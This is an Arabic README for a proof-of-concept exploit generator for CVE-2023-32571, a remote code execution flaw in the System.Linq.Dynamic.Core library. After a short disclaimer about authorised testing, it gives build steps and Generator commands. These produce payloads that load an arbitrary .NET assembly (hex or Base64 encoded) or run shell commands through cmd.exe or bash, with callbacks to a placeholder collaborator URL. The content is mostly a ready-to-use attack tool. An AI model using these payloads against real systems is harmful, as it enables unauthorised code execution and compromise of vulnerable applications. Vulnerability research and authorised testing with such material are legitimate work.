
إثبات المفهوم لـ CVE-2023-32571
إثبات المفهوم لثغرة CVE-2023-32571، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في مكتبة System.Linq.Dynamic.Core (الإصدارات 1.0.7.10 إلى 1.2.25). تسمح هذه الثغرة للمهاجمين بتنفيذ تعليمات وأوامر عشوائية عند تحليل المدخلات غير الموثوقة لطرق مثل Where, Select, OrderBy.
هذه الأداة مُقدمة لأغراض تعليمية واختبارية مصرح بها فقط. استخدام هذه الأداة لمهاجمة أهداف دون موافقة مسبقة متبادلة غير قانوني. المطورون لا يتحملون أي مسؤولية ولا يُعتبرون مسؤولين عن أي سوء استخدام أو ضرر ناتج عن هذا البرنامج.
dotnet build --configuration Release
Payload/bin/Release/netstandard2.0/Payload.dllGenerator/bin/Release/net9.0/Generator.dllتدعم الأداة وضعين:
# استخدام ترميز Base64
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 1
# استخدام ترميز Hex
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 0
# استخدام ترميز Base64
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 1
# استخدام ترميز Hex
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 0
# تنفيذ أوامر ويندوز
./Generator --mode 1 --parameters "cmd.exe /c ping <your-collaborator-url>"
# تنفيذ أوامر لينكس
./Generator --mode 1 --parameters "bash -c ping <your-collaborator-url>"
--mode: وضع الاستغلال (0=AssemblyLoad, 1=ProcessStart)--file: المسار إلى تجميع .NET المراد تحميله (مطلوب لوضع AssemblyLoad)--type: اسم النوع المؤهل بالكامل المراد إنشاؤه (مطلوب لوضع AssemblyLoad)--parameters: المعاملات حسب الوضع:
--encoding: طريقة الترميز لوضع AssemblyLoad (0=Hex, 1=Base64)